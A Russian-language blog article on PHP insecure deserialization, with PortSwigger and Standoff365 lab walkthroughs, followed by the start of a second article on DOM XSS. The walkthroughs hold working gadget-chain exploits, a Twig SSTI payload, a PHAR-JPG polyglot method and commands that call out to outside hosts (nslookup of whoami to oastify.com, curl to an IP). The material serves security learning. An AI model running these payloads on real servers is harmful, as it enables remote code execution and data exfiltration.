  <p id="80JE">При выполнении этого кода мы получим сериализованную строку, представляющую объект &quot;user&quot;:</p>
  <p id="gWjC"><code>O:4:&quot;User&quot;:2:{s:8:&quot;username&quot;;s:10:&quot;wr3dmast3r&quot;;s:4:&quot;role&quot;;s:4:&quot;user&quot;;}</code></p>
  <p id="lGXr">Эта строка содержит информацию о классе, его свойствах и их значениях. С помощью сериализации мы можем сохранять объекты в файлы, передавать их по сети или хранить в базе данных, что делает процесс крайне полезным для работы с данными в приложениях.</p>
  <p id="C3y6">Таким образом, сериализация позволяет эффективно управлять состоянием объектов, а десериализация — восстанавливать их для дальнейшего использования.</p>
  <h2 id="IdbX">Структура сериализованной строки</h2>
  <p id="ybpN">Сериализованная строка в <strong>PHP</strong> имеет четко определенную структуру, которая позволяет интерпретировать данные, содержащиеся в ней. Основная форма этой структуры выглядит как &quot;тип данных: данные&quot;. Ниже приведены основные обозначения типов данных, используемых в сериализации:</p>
  <p id="XTt8">- b: булевый тип (boolean);</p>
  <p id="RlCT">- i: целое число (integer);</p>
  <p id="J8rK">- d: число с плавающей запятой (float);</p>
  <p id="Q2dq">- s: строка (string), где указывается длина строки и само значение: s:LENGTH:&quot;ACTUAL_STRING&quot;;</p>
  <p id="t7XZ">- a: массив (array), где указывается количество элементов и их содержимое: a:NUMBER_OF_ELEMENTS:{ELEMENTS};</p>
  <p id="WvLI">- O: объект (object), где указывается длина имени класса, имя класса, количество свойств и их значения: O:LENGTH:&quot;CLASS_NAME&quot;:NUMBER_OF_PROPERTIES:{PROPERTIES}.</p>
  <p id="gXh4">Рассмотрим пример сериализованной строки, представляющей объект класса <strong>User</strong>:</p>
  <p id="un4M">O:4:&quot;User&quot;:2:{s:8:&quot;username&quot;;s:10:&quot;wr3dmast3r&quot;;s:4:&quot;role&quot;;s:4:&quot;user&quot;;}</p>
  <p id="yQSa">В этой строке мы можем увидеть следующее:</p>
  <p id="XTzb">- O:4:&quot;User&quot;: указывает, что это объект класса <strong>User</strong>, длина имени класса составляет 4 символа;</p>
  <p id="FOLt">- 2: обозначает, что у объекта два свойства;</p>
  <p id="wvuI">- {...}: внутри фигурных скобок перечислены свойства объекта;</p>
  <p id="fB0E">- s:8:&quot;username&quot;: первое свойство называется username, его длина составляет 8 символов;</p>
  <p id="oes2">- s:10:&quot;wr3dmast3r&quot;: значение свойства username — строка длиной 10 символов;</p>
  <p id="0meM">- s:4:&quot;role&quot;: второе свойство называется role, его длина составляет 4 символа;</p>
  <p id="2Cwo">- s:4:&quot;user&quot;: значение свойства role — строка длиной 4 символа.</p>
  <p id="AOch">Таким образом, структура сериализованной строки позволяет точно определить типы данных и их значения, что делает возможным восстановление объекта в его первоначальном виде при десериализации.</p>
  <h2 id="emTD">Десериализация</h2>
  <p id="VwGT">Когда необходимо восстановить объект из сериализованной строки, мы используем функцию <strong>unserialize()</strong>. Этот процесс позволяет преобразовать строку, представляющую объект, обратно в его исходное состояние, чтобы мы могли с ним работать.</p>
  <p id="Tzp7">Рассмотрим следующий пример:</p>
  <pre id="zhaZ">&lt;?phpclass User{  public $username;  public $role;}$user = new User;$user-&gt;username = &#x27;wr3dmast3r&#x27;;$user-&gt;role = &#x27;user&#x27;;$serialized_string = serialize($user);$unserialized_data = unserialize($serialized_string);var_dump($unserialized_data);var_dump($unserialized_data[&quot;role&quot;]);?&gt;</pre>
  <p id="MYPG">В этом коде мы сначала создаем объект класса <strong>User</strong> и задаем его свойства. Затем мы сериализуем этот объект с помощью функции <strong>serialize()</strong>, что позволяет сохранить его состояние в виде строки.</p>
  <p id="pzMh">После этого мы используем <strong>unserialize()</strong>, чтобы восстановить объект из сериализованной строки. В результате переменная <strong>$unserialized_data</strong> будет содержать объект <strong>User</strong> с теми же значениями свойств, что и исходный объект.</p>
  <h2 id="OcsB">Как работает unserialize() &quot;под капотом&quot;?</h2>
  <p id="YAOp">Важно понимать, что функция <strong>unserialize()</strong> выполняет несколько ключевых действий, которые могут привести к уязвимостям в приложениях. При вызове этой функции происходит восстановление объекта из сериализованной строки, и в процессе этого восстановления могут быть вызваны специальные методы, известные как магические методы.</p>
  <p id="CNe9">Магические методы в <strong>PHP</strong> — это функции, которые имеют особое назначение и поведение. Они начинаются с двойного подчеркивания и выполняют определенные действия в ответ на определенные события. Более подробно о магических методах можно узнать <a href="https://www.php.net/manual/en/language.oop5.magic.php" target="_blank">здесь</a>.</p>
  <p id="haXu">Для нас особенно важны два магических метода: <strong>__wakeup()</strong> и <strong>__destruct()</strong>.</p>
  <p id="dT97"><strong>__wakeup()</strong></p>
  <p id="2Rmb">Этот метод автоматически вызывается при десериализации объекта. Он может использоваться для выполнения дополнительных действий, таких как восстановление состояния объекта или инициализация свойств, которые не были сериализованы. Например, если объект зависит от внешних ресурсов, таких как соединение с базой данных, этот метод может быть использован для их повторного подключения.</p>
  <p id="HQmU"><strong>__destruct()</strong></p>
  <p id="if1a">Этот метод вызывается при уничтожении объекта. Он может использоваться для освобождения ресурсов, закрытия соединений или выполнения других завершающих действий. Однако, если объект был десериализован и затем уничтожен, этот метод также будет вызван, что может привести к неожиданным последствиям, если в нем содержится код, который не должен выполняться в контексте десериализации.</p>
  <p id="vIeB">Проблема с <strong>unserialize()</strong> заключается в том, что, если мы можем контролировать входные данные, передаваемые в эту функцию, можно попытаться добраться до определенных функций, которые приведут к исполнению кода. Например, мы можем создать объект с полезной нагрузкой и, если класс содержит в себе один из &quot;магических&quot; методов, то мы сможем добраться до функций внутри него с произвольными параметрами</p>
  <h2 id="MFyh">Создание и работа с объектом</h2>
  <p id="PW8C">Создание экземпляра класса — это процесс, в ходе которого программа выделяет память для нового объекта на основе определенного класса. Функция <strong>unserialize()</strong> выполняет эту задачу, принимая сериализованную строку, которая содержит информацию о классе и его свойствах. На основе этих данных <strong>unserialize()</strong> восстанавливает копию изначально сериализованного объекта.</p>
  <p id="aX4P">После восстановления объекта функция автоматически ищет и вызывает метод с именем <strong>__wakeup()</strong>, если он определен в классе. Этот магический метод предназначен для восстановления любых ресурсов, которые могли быть потеряны во время сериализации. Например, он может восстанавливать соединения с базой данных или выполнять другие задачи, необходимые для повторной инициализации объекта.</p>
  <p id="FYgO">После выполнения <strong>__wakeup()</strong> программа продолжает работать с десериализованным объектом, используя его для выполнения различных операций. Объект может быть использован для обработки данных, выполнения бизнес-логики или взаимодействия с другими компонентами системы.</p>
  <p id="9V31">Когда объект больше не нужен и на него не остается ссылок, автоматически вызывается метод <strong>__destruct()</strong>. Этот магический метод отвечает за освобождение ресурсов, связанных с объектом, и выполнение завершающих действий, таких как закрытие соединений или очистка памяти. В результате объект уничтожается, и память, которую он занимал, освобождается.</p>
  <h2 id="fayX">Эксплуатация десериализации в PHP</h2>
  <p id="iKlF">Когда вы имеете контроль над сериализованным объектом, который передается в функцию <strong>unserialize()</strong>, вы получаете возможность управлять свойствами создаваемого объекта. Это открывает двери для перехвата потока выполнения приложения, позволяя вам контролировать значения, передаваемые в автоматически выполняемые методы, такие как <strong>__wakeup()</strong> и <strong>__destruct()</strong>. Этот процесс известен как инъекция объектов в <strong>PHP</strong>.</p>
  <p id="01AM">Одним из способов эксплуатации уязвимости небезопасной десериализации является манипуляция переменными. Например, вы можете изменить значения, закодированные в сериализованной строке. Рассмотрим следующую сериализованную строку, представляющую объект класса <strong>User</strong>:</p>
  <p id="QvtB"><code>O:4:&quot;User&quot;:2:{s:8:&quot;username&quot;;s:10:&quot;wr3dmast3r&quot;;s:4:&quot;role&quot;;s:4:&quot;user&quot;;}</code></p>
  <p id="CT07">В этой строке вы можете попытаться изменить значение свойства <strong>role</strong> с &quot;user&quot; на &quot;admin&quot;, чтобы проверить, предоставит ли приложение вам административные привилегии:</p>
  <p id="F5K2"><code>O:4:&quot;User&quot;:2:{s:8:&quot;username&quot;;s:10:&quot;wr3dmast3r&quot;;s:4:&quot;role&quot;;s:5:&quot;admin&quot;;}</code></p>
  <p id="uR9g">Если приложение не имеет должной проверки прав доступа и полагается на значения, полученные из десериализованного объекта, это может привести к серьезным уязвимостям.</p>
  <h2 id="2Py6">Примеры RCE</h2>
  <h3 id="Tj8N">PortSwigger - Developing a custom gadget chain for PHP deserialization</h3>
  <p id="oYhW">При переходе на главную страницу обращаем внимание на ответ запроса страницы, в ней упоминается, где находится какой-то php-файл:</p>
  <figure id="YmEk" class="m_original">
    <img src="https://img4.teletype.in/files/f9/30/f9308792-844f-4ccf-8719-408008bdd705.png" width="1372" />
  </figure>
  <p id="aKXS">Для того чтобы получить доступ к файлу, необходимо добавить ~ в конце имени файла, это обычно указывает на резервную копию, созданную текстовыми редакторами:</p>
  <figure id="pINm" class="m_original">
    <img src="https://img2.teletype.in/files/92/58/92585eed-0597-4316-ae91-84f83dac3d23.png" width="1387" />
  </figure>
  <p id="TXMZ">Для создания эксплойта необходимо собрать цепочки гаджетов, которые позволят выполнить произвольный код. Обычно для этого определяют начальный гаджет (первый элемент цепочки, который инициирует выполнение) и конечный гаджет (последний элемент цепочки, который может выполнить произвольный код).</p>
  <p id="BwO9"><strong>CustomTemplate.php</strong>:</p>
  <pre id="QeIJ">&lt;?phpclass CustomTemplate {    private $default_desc_type;    private $desc;    public $product;    public function __construct($desc_type=&#x27;HTML_DESC&#x27;) {        $this-&gt;desc = new Description();        $this-&gt;default_desc_type = $desc_type;        // Carlos thought this is cool, having a function called in two places... What a genius        $this-&gt;build_product();    }    public function __sleep() {        return [&quot;default_desc_type&quot;, &quot;desc&quot;];    }    public function __wakeup() {        $this-&gt;build_product();    }    private function build_product() {        $this-&gt;product = new Product($this-&gt;default_desc_type, $this-&gt;desc);    }}class Product {    public $desc;    public function __construct($default_desc_type, $desc) {        $this-&gt;desc = $desc-&gt;$default_desc_type;    }}class Description {    public $HTML_DESC;    public $TEXT_DESC;    public function __construct() {        // @Carlos, what were you thinking with these descriptions? Please refactor!        $this-&gt;HTML_DESC = &#x27;&lt;p&gt;This product is &lt;blink&gt;SUPER&lt;/blink&gt; cool in html&lt;/p&gt;&#x27;;        $this-&gt;TEXT_DESC = &#x27;This product is cool in text&#x27;;    }}class DefaultMap {    private $callback;    public function __construct($callback) {        $this-&gt;callback = $callback;    }    public function __get($name) {        return call_user_func($this-&gt;callback, $name);    }}?&gt;</pre>
  <p id="u4ji">В данном примере магический метод <strong>__wakeup()</strong> может служить начальным гаджетом. Этот метод вызывается при десериализации сериализованного объекта. Следуя коду, мы обнаруживаем строку: <strong>$this-&gt;desc = $desc-&gt;$default_desc_type;</strong> в конструкторе класса <strong>Product</strong>, которая будет ключевой для нашей цепочки.</p>
  <p id="nOXz">Далее мы ищем подходящий конечный гаджет. Класс <strong>DefaultMap</strong> содержит метод <strong>call_user_func</strong>, который может позволить выполнить <strong>RCE</strong>. Этот метод принимает два параметра: <strong>$this-&gt;callback</strong> и <strong>$name</strong>. Первый параметр — это имя функции <strong>PHP</strong>, которую мы хотим вызвать, а второй — аргумент, передаваемый этой функции. Метод <strong>call_user_func</strong> вызывается в магическом методе <strong>__get()</strong>, который срабатывает при обращении к неопределенному свойству класса <strong>DefaultMap</strong>. Имя вызываемого свойства передается как второй параметр, что в нашем случае будет командой, которую мы собираемся выполнить. Также мы можем задать значение для <strong>$this-&gt;callback</strong> в конструкторе класса.</p>
  <p id="8oFe">Таким образом мы должны создать объект <strong>DefaultMap</strong>, который будет использовать функцию exec или подобную и выполнять переданную нами команду:</p>
  <pre id="VBL4">$exploit = new DefaultMap(&#x27;exec&#x27;);  $command = &#x27;ping collaborator.com&#x27;; $exploit-&gt;$command;</pre>
  <p id="EkjT">Ключевым моментом является то, что объект <strong>Description</strong> может быть установлен в конструкторе класса <strong>Product</strong>, что связывает начальный и конечный гаджеты. Это создает уязвимость, позволяя выполнить произвольный код через вызов метода <strong>__get()</strong>.</p>
  <p id="ftrd">Эксплойт:</p>
  <pre id="9Fzv">&lt;?phpclass CustomTemplate {}class Product {}class Description {}class DefaultMap {}echo &quot;Creating exploit:&quot;;echo &quot;\r\n&quot;;$exploit = new DefaultMap(&quot;exec&quot;);$exploit-&gt;callback = &quot;exec&quot;;$exploitObject = new CustomTemplate;$exploitObject-&gt;default_desc_type = &#x27;nslookup &#x60;whoami&#x60;.osky9nbx1joj0hefs8tn9c29i0orci07.oastify.com&#x27;;$exploitObject-&gt;desc = $exploit;echo serialize($exploitObject);?&gt;</pre>
  <p id="djHD">В этом коде мы создаем объект <strong>DefaultMap</strong>, который будет использоваться в качестве конечного гаджета для выполнения произвольного кода. Устанавливаем его свойство <strong>callback</strong> на значение <strong>exec</strong>, что позволяет нам вызывать функцию <strong>exec</strong> при десериализации.</p>
  <p id="lRvK">Затем создаем объект <strong>CustomTemplate</strong> и задаем его свойство <strong>default_desc_type</strong>. Это свойство будет содержать команду, которую мы хотим выполнить. В данном случае команда <strong>nslookup &#x27;whoami&#x27;.osky9nbx1joj0hefs8tn9c29i0orci07.oastify.com</strong> будет отправлять запрос на DNS-сервер, чтобы получить имя пользователя, выполняющего код, и отправлять его на указанный адрес. После этого присваиваем объекту <strong>exploit</strong> значение свойства <strong>desc</strong> объекта <strong>exploitObject</strong>.</p>
  <p id="UKig">Наконец, сериализуем объект <strong>exploitObject</strong> и выводим полученную сериализованную строку. Эта строка может быть использована для эксплуатации уязвимости десериализации, позволяя выполнить произвольный код при восстановлении объекта.</p>
  <p id="FKOV">Создаем сериализованный объект:</p>
  <figure id="xkvP" class="m_original">
    <img src="https://img2.teletype.in/files/1e/55/1e551520-8d91-497f-a777-3e3e0c1bb357.png" width="1183" />
  </figure>
  <p id="njzB">Теперь нужно определить, как использовать эксплойт.</p>
  <p id="rtsr">При входе в учетную запись <strong>Burp Suite</strong> подсвечивает нам обнаруженный сериализованный объект в Cookie:</p>
  <figure id="L6eu" class="m_original">
    <img src="https://img2.teletype.in/files/5c/c4/5cc4f988-1efd-4561-a50f-5a3525af2bbb.png" width="1560" />
  </figure>
  <p id="PZ4Y">Переводим получившийся объект в Base64 и заменяем знаки = при необходимости, после отправляем полезную нагрузку и получаем запрос на свой веб-сервер:</p>
  <figure id="gamL" class="m_original">
    <img src="https://img4.teletype.in/files/fb/5c/fb5ca074-4fbe-452e-b7fb-284dfbcee1a8.png" width="1425" />
  </figure>
  <p id="2H5P">Получаем запрос на свой веб-сервер:</p>
  <figure id="1et4" class="m_original">
    <img src="https://img4.teletype.in/files/b3/86/b38618ab-64e8-42a2-add7-a9d3137ce486.png" width="1203" />
  </figure>
  <h3 id="JW1m">PortSwigger - Using PHAR deserialization to deploy a custom gadget chain</h3>
  <p id="WS1w">Для поиска директории с кодом воспользуемся функцией <strong>Discovery Content</strong>:</p>
  <figure id="hcZr" class="m_original">
    <img src="https://img1.teletype.in/files/46/af/46af2d03-624e-415c-8289-b7075b029cf1.png" width="1118" />
  </figure>
  <p id="hWrG"><strong>Discovery Content</strong> находит несколько файлов php:</p>
  <figure id="itQM" class="m_original">
    <img src="https://img3.teletype.in/files/24/97/24971f07-4c1c-4655-a37f-1083266b7f1e.png" width="1378" />
  </figure>
  <p id="6905">Познакомимся с ними.</p>
  <p id="k0ZW"><strong>CustomTemplate.php:</strong></p>
  <pre id="JTjv">&lt;?phpclass CustomTemplate {    private $template_file_path;    public function __construct($template_file_path) {        $this-&gt;template_file_path = $template_file_path;    }    private function isTemplateLocked() {        return file_exists($this-&gt;lockFilePath());    }    public function getTemplate() {        return file_get_contents($this-&gt;template_file_path);    }    public function saveTemplate($template) {        if (!isTemplateLocked()) {            if (file_put_contents($this-&gt;lockFilePath(), &quot;&quot;) === false) {                throw new Exception(&quot;Could not write to &quot; . $this-&gt;lockFilePath());            }            if (file_put_contents($this-&gt;template_file_path, $template) === false) {                throw new Exception(&quot;Could not write to &quot; . $this-&gt;template_file_path);            }        }    }    function __destruct() {        // Carlos thought this would be a good idea        @unlink($this-&gt;lockFilePath());    }    private function lockFilePath()    {        return &#x27;templates/&#x27; . $this-&gt;template_file_path . &#x27;.lock&#x27;;    }}?&gt;</pre>
  <p id="c8ZS"><strong>Blog.php:</strong></p>
  <pre id="k92i">&lt;?phprequire_once(&#x27;/usr/local/envs/php-twig-1.19/vendor/autoload.php&#x27;);class Blog {    public $user;    public $desc;    private $twig;    public function __construct($user, $desc) {        $this-&gt;user = $user;        $this-&gt;desc = $desc;    }    public function __toString() {        return $this-&gt;twig-&gt;render(&#x27;index&#x27;, [&#x27;user&#x27; =&gt; $this-&gt;user]);    }    public function __wakeup() {        $loader = new Twig_Loader_Array([            &#x27;index&#x27; =&gt; $this-&gt;desc,        ]);        $this-&gt;twig = new Twig_Environment($loader);    }    public function __sleep() {        return [&quot;user&quot;, &quot;desc&quot;];    }}?&gt;</pre>
  <p id="JiBI">В файле <strong>CustomTemplate.php</strong> реализован класс <strong>CustomTemplate</strong>, который включает метод <strong>__destruct()</strong>, автоматически вызываемый при завершении работы PHP-скрипта. Этот метод отвечает за удаление файла блокировки, путь к которому определяется с помощью метода <strong>lockFilePath()</strong>, формируемого по шаблону <strong>templates/$template_file_path.lock</strong>. Также в классе присутствует метод <strong>isTemplateLocked()</strong>, использующий функцию <strong>file_exists()</strong> для проверки наличия файла блокировки, что позволяет определить, заблокирован ли текущий шаблон.</p>
  <p id="MRKF">В файле <strong>Blog.php</strong> определен класс <strong>Blog</strong>, использующий шаблонный движок <strong>Twig</strong>. Важным аспектом является магический метод <strong>__wakeup()</strong>, который вызывается во время десериализации объекта. При активации этого метода создается новый объект <strong>Twig_Environment</strong>, используя атрибут <strong>desc</strong> класса <strong>Blog</strong> в качестве шаблона. Для демонстрации уязвимости <strong>SSTI</strong> можно использовать полезную нагрузку, которая регистрирует функцию <strong>exec</strong> и выполняет команду <strong>nslookup</strong>.</p>
  <p id="sBAM">Полезную нагрузку для <strong>SSTI</strong> можно найти на <strong>HackTricks</strong>:</p>
  <pre id="LzG1">{{_self.env.registerUndefinedFilterCallback(&quot;exec&quot;)}}{{_self.env.getFilter(&quot;nslookup &#x60;whoami&#x60;.osky9nbx1joj0hefs8tn9c29i0orci07.oastify.com&quot;)}}</pre>
  <p id="eccj">Собираем эксплойт:</p>
  <pre id="tMAH">&lt;?phpclass CustomTemplate {}class Blog {}$exploitObject = new CustomTemplate;$exploitBlog = new Blog;$exploitBlog-&gt;user = &#x27;random&#x27;;$exploitBlog-&gt;desc = &#x27;{{_self.env.registerUndefinedFilterCallback(&quot;exec&quot;)}}{{_self.env.getFilter(&quot;nslookup &#x60;whoami&#x60;.osky9nbx1joj0hefs8tn9c29i0orci07.oastify.com&quot;)}}&#x27;;$exploitObject-&gt;template_file_path = $exploitBlog;?&gt;</pre>
  <p id="b9aT">В этом примере создаются экземпляры классов <strong>CustomTemplate</strong> и <strong>Blog</strong>. Мы устанавливаем произвольное значение для свойства <strong>user</strong> в объекте <strong>Blo</strong>g, а затем присваиваем полезную нагрузку в свойство <strong>desc</strong>. Это открывает возможность использования уязвимости <strong>SSTI</strong> для выполнения произвольного кода. В конечном итоге объект <strong>Blo</strong>g связывается с объектом <strong>CustomTemplate</strong>, что позволяет выполнить команду на сервере. Полезная нагрузка будет установлена в атрибуте <strong>des</strong>c класса <strong>Blog</strong>, который затем будет передан в <strong>CustomTemplate-&gt;template_file_path</strong>.</p>
  <h2 id="994h">Эксплуатация</h2>
  <p id="d9Zi">Теперь необходимо создать phar-архив с нашим сериализованным объектом и превратить все это в JPG. В этом поможет <a href="https://(https://github.com/kunte0/phar-jpg-polyglot)" target="_blank">данный</a> репозиторий.</p>
  <p id="4nyq">Код для создания JPG необходимо отредактировать, добавив в данном месте наш объект:</p>
  <figure id="fWtk" class="m_original">
    <img src="https://img4.teletype.in/files/b5/11/b5119db2-0a52-47a8-90b4-d2c5e9c31ee7.png" width="1064" />
  </figure>
  <p id="8Wz0">После запускаем:</p>
  <p id="83oz"><code>php -c php.ini phar_jpg_polyglot_redacted.php</code></p>
  <p id="4CYc">В результате получаем картинку с полезной нагрузкой, грузим ее в свой профиль:</p>
  <figure id="nuLp" class="m_original">
    <img src="https://img3.teletype.in/files/e8/33/e833f11d-d688-4c0b-b316-c674e8a25fe6.png" width="832" />
  </figure>
  <p id="uHvV">Картинка загрузилась, проверяем, где она расположена:</p>
  <figure id="DkNL" class="m_original">
    <img src="https://img1.teletype.in/files/c6/c3/c6c331a3-950d-453c-b5bf-dca39d4389fa.png" width="1374" />
  </figure>
  <p id="tcgY">Теперь необходимо вызвать десериализацию объекта и <strong>PHP</strong> предоставляет несколько оберток, которые можно использовать для работы с различными протоколами при доступе к файлам. Одна из них - обёртка <strong>phar://</strong>, которая предоставляет потоковый интерфейс для доступа к файлам <strong>PHP Archive (.phar)</strong>. В документации по <strong>PHP</strong> говорится, что файлы <strong>PHAR</strong> содержат сериализованные метаданные. Очень важно, что если вы выполняете какие-либо операции с файловой системой в потоке <strong>phar://</strong>, эти метаданные неявно десериализуются. Это означает, что поток <strong>phar://</strong> потенциально может быть вектором для использования небезопасной десериализации.</p>
  <p id="jhdm">Изменяем значение параметра avatar на вызов обертки <strong>phar</strong> для десериализации нашего объекта:</p>
  <figure id="vKJu" class="m_original">
    <img src="https://img3.teletype.in/files/2d/1a/2d1a4690-3c88-4f69-ab2a-9ad506a0e1e7.png" width="1381" />
  </figure>
  <p id="ifGl">Проверяем коллаборатор:</p>
  <figure id="A9TT" class="m_original">
    <img src="https://img4.teletype.in/files/f0/00/f0000b98-ee86-4aa3-8127-097626c7b957.png" width="1281" />
  </figure>
  <h3 id="q0JG">Standoff365 BootCamp - PHP deserialization + PHAR</h3>
  <p id="erW0">Функция загрузки картинки по URL уязвима к <strong>SSRF</strong>, и мы можем получить код приложения:</p>
  <figure id="TGrE" class="m_original">
    <img src="https://img3.teletype.in/files/a1/24/a124335e-0d3f-4bb7-a715-db1984ab2e4e.png" width="1207" />
  </figure>
  <p id="nSn0">Читаем код:</p>
  <figure id="vZN6" class="m_original">
    <img src="https://img1.teletype.in/files/43/f9/43f9459d-9a74-4202-a247-332f8f329313.png" width="1203" />
  </figure>
  <p id="VVgH">Интересующий нас фрагмент кода находится здесь:</p>
  <pre id="daJO">&lt;?phpclass ImageSorting{         public $ImageArr = Array();         public $SortFunc = &quot;compareByAge&quot;;         function __destruct(){                $ImageArr = $this-&gt;ImageArr;                $SortFunc = $this-&gt;SortFunc;                function compareByName($a, $b) {                        return strcmp($a[0], $b[0]);                }                function compareByAge($a, $b) {                        return strcmp($a[1], $b[1]);                }                usort($ImageArr, $SortFunc);                print_r(json_encode($ImageArr));         }}</pre>
  <p id="CbGO">В представленном коде реализован класс <strong>ImageSorting</strong>, который предназначен для сортировки массива изображений. Класс содержит два основных свойства:</p>
  <p id="rudy">- <strong>$ImageArr</strong>: массив, в который будут добавлены изображения для сортировки;</p>
  <p id="KvRY">- <strong>$SortFunc</strong>: строка, указывающая на функцию сортировки, которая по умолчанию установлена на <strong>&quot;compareByAge&quot;</strong>.</p>
  <p id="abkg">Класс включает в себя магический метод <strong>__destruct()</strong>, который автоматически вызывается при уничтожении объекта. В этом методе выполняются следующие действия:</p>
  <p id="tuhk">1. Сохраняются текущие значения свойств <strong>$ImageArr</strong> и <strong>$SortFunc</strong>;</p>
  <p id="g40F">2. Определяются две функции для сравнения: <strong>compareByName</strong> и <strong>compareByAge</strong> (первая функция сортирует массив по имени изображения, вторая — по возрасту или другому критерию, представленному во втором элементе массива);</p>
  <p id="Vz3g">3. Вызывается функция <strong>usort()</strong>, которая сортирует массив <strong>$ImageArr</strong> с использованием функции, указанной в <strong>$SortFunc</strong>;</p>
  <p id="qcJm">4. Результат сортировки выводится в формате JSON с помощью функции <strong>json_encode()</strong>.</p>
  <p id="EL42">Однако в этом коде существует уязвимость, связанная с тем, что значение свойства <strong>$SortFunc</strong> может быть изменено на произвольную строку. Например, если установить <strong>$SortFunc</strong> в значение <strong>&quot;system</strong>&quot;, то при вызове <strong>usort()</strong> будет использована функция <strong>system()</strong>, что позволяет выполнять произвольные команды на сервере.</p>
  <p id="gkOm">Когда объект <strong>ImageSorting</strong> уничтожается, например, в конце выполнения скрипта, вызывается метод <strong>__destruct()</strong>, который пытается отсортировать массив <strong>$ImageArr</strong>, используя функцию <strong>system()</strong>. Это создает возможность для удаленного выполнения кода на сервере.</p>
  <p id="KbqD">Эксплойт:</p>
  <pre id="4mTY">&lt;?phpini_set(&#x27;phar.readonly&#x27;, &#x27;0&#x27;);class ImageSorting{}$pharFile = &#x27;exploit.phar&#x27;;$phar = new Phar($pharFile);$phar-&gt;startBuffering();$exploitObject = new ImageSorting();$exploitObject-&gt;ImageArr = [&quot;curl http://10.127.246.140:8000&quot;, &quot;&quot;];$exploitObject-&gt;SortFunc = &quot;system&quot;;$phar-&gt;addFromString(&#x27;test.txt&#x27;, &#x27;test content&#x27;);$phar-&gt;setStub(&#x27;&lt;?php __HALT_COMPILER(); ?&gt;&#x27;);$phar-&gt;setMetadata($exploitObject);$phar-&gt;stopBuffering();echo &quot;PHAR архив создан: {$pharFile}\n&quot;;?&gt;</pre>
  <p id="AqTh">В этом примере создается <strong>PHAR-архив</strong>, который содержит объект <strong>ImageSorting</strong>. Мы устанавливаем массив <strong>ImageArr</strong> с командой <strong>curl</strong>, а затем изменяем свойство <strong>SortFunc</strong> на <strong>&quot;system&quot;</strong>. Это позволяет при уничтожении объекта выполнить команду <strong>curl</strong> на сервере, что демонстрирует уязвимость к удаленному выполнению кода.</p>
  <p id="2owi">Размещаем эксплойт на своем веб-сервере и используем <strong>SSRF</strong> для загрузки файла:</p>
  <figure id="zFHr" class="m_original">
    <img src="https://img3.teletype.in/files/27/be/27bef0fa-833d-4511-bd09-dea4da3838a9.png" width="1203" />
  </figure>
  <p id="ug17">С помощью все той же <strong>SSRF</strong> вызываем десериализацию загруженного нами файла с помощью <strong>PHAR</strong> и получаем выполнение команды и <strong>curl-запрос</strong> на свой сервер:</p>
  <figure id="hTpg" class="m_original">
    <img src="https://img2.teletype.in/files/5f/7d/5f7d7053-8c74-44f0-90e7-91ba03f415fd.png" width="1206" />
  </figure>
  <p id="dBpz">В конце добавлю, что десериализация является мощным инструментом в программировании, позволяющим восстанавливать объекты из сериализованных данных. Однако, как показано в данной статье, она также может порождать серьезные уязвимости, если не применяется с осторожностью. Небезопасная десериализация может привести к инъекциям объектов и удаленному выполнению кода, что ставит под угрозу безопасность приложений. Чтобы минимизировать риски, разработчикам следует использовать безопасные методы сериализации, тщательно проверять и фильтровать входные данные, а также избегать десериализации данных, полученных из ненадежных источников.</p>
  <p id="VCb3"><strong>Дополнительные ссылки:</strong></p>
  <p id="oxFy"><a href="https://portswigger.net/web-security/deserialization" target="_blank">Insecure deserialization - PortSwigger</a></p>
  <p id="5hzR"><a href="https://vickieli.dev/insecure%20deserialization/exploiting-php-deserialization" target="_blank">Exploiting PHP Deserialization</a></p>
  <p id="Ihp5"><a href="https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/php-tricks-esp" target="_blank">HackTricks - PHP Tricks</a></p>
  <p id="bGGV"><a href="https://www.youtube.com/watch?v=fHZKSCMWqF4" target="_blank">Advanced PHP Deserialization - Phar Files</a></p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@wr3dmast3r/I_05e7RKGgd</guid><link>https://teletype.in/@wr3dmast3r/I_05e7RKGgd?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=wr3dmast3r</link><comments>https://teletype.in/@wr3dmast3r/I_05e7RKGgd?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=wr3dmast3r#comments</comments><dc:creator>wr3dmast3r</dc:creator><title>Осваиваем DOM Invader: ищем DOM XSS и Prototype Pollution на примере пяти лабораторных и одной уязвимости на Хабре</title><pubDate>Thu, 03 Jul 2025 00:41:58 GMT</pubDate><media:content medium="image" url="https://img4.teletype.in/files/be/94/be94dd0e-b0e0-4782-b6c8-8c03a202689a.png"></media:content><description><![CDATA[<img src="https://img2.teletype.in/files/10/80/1080f4c9-9f74-45e2-9875-487354ea188f.png"></img>Привет, Хабр! Сегодня мы познакомимся с DOM XSS и Prototype Pollution, рассмотрим примеры уязвимостей на Bug Bounty и научимся использовать инструмент DOM Invader, который заметно упростит поиск таких уязвимостей.]]></description><content:encoded><![CDATA[
  <figure id="cSgR" class="m_original">
    <img src="https://img2.teletype.in/files/10/80/1080f4c9-9f74-45e2-9875-487354ea188f.png" width="1560" />
  </figure>
  <p id="NjNn">Привет, Хабр! Сегодня мы познакомимся с DOM XSS и Prototype Pollution, рассмотрим примеры уязвимостей на Bug Bounty и научимся использовать инструмент DOM Invader, который заметно упростит поиск таких уязвимостей.</p>
  <p id="80VA">Материал будет интересен специалистам, которые уже сталкивались с DOM XSS и Prototype Pollution. Если вы еще не знакомы с этими уязвимостями, стоит обратить внимание на лабораторные PortSwigger и теорию и только потом приступать к изучению DOM Invader. А если знакомы, то быстро вспомним основные понятия и объясним, а в чем же, собственно, состоит опасность.</p>
  <p id="jDHK"><strong>XSS</strong></p>
  <p id="a9r3">Межсайтовый скриптинг, известный как XSS, часто встречается в мире веб-безопасности. Наряду с IDOR он занимает первые места в рейтинге Bug Bounty по количеству найденных уязвимостей. Атака позволяет внедрить JavaScript-код на страницу приложения, после чего пользователи, посещающие уязвимую страницу, могут потерять различные конфиденциальные данные — например, сеансовые куки или токены авторизации.</p>
  <p id="khyR"><strong>Document Object Model (DOM)</strong></p>
  <p id="6bko">Document Object Model (DOM) — это иерархическое представление элементов на странице в веб-браузере. Сайты могут использовать JavaScript для управления узлами и объектами DOM. Манипуляции с DOM сами по себе не являются проблемой — так работают все современные сайты. А вот JavaScript, который небезопасно обрабатывает данные, может позволить провести различные атаки. Уязвимости DOM возникают, когда на сайте содержится JavaScript, который берет значение, контролируемое пользователем (Source), и передает его в опасную функцию (Sink).</p>
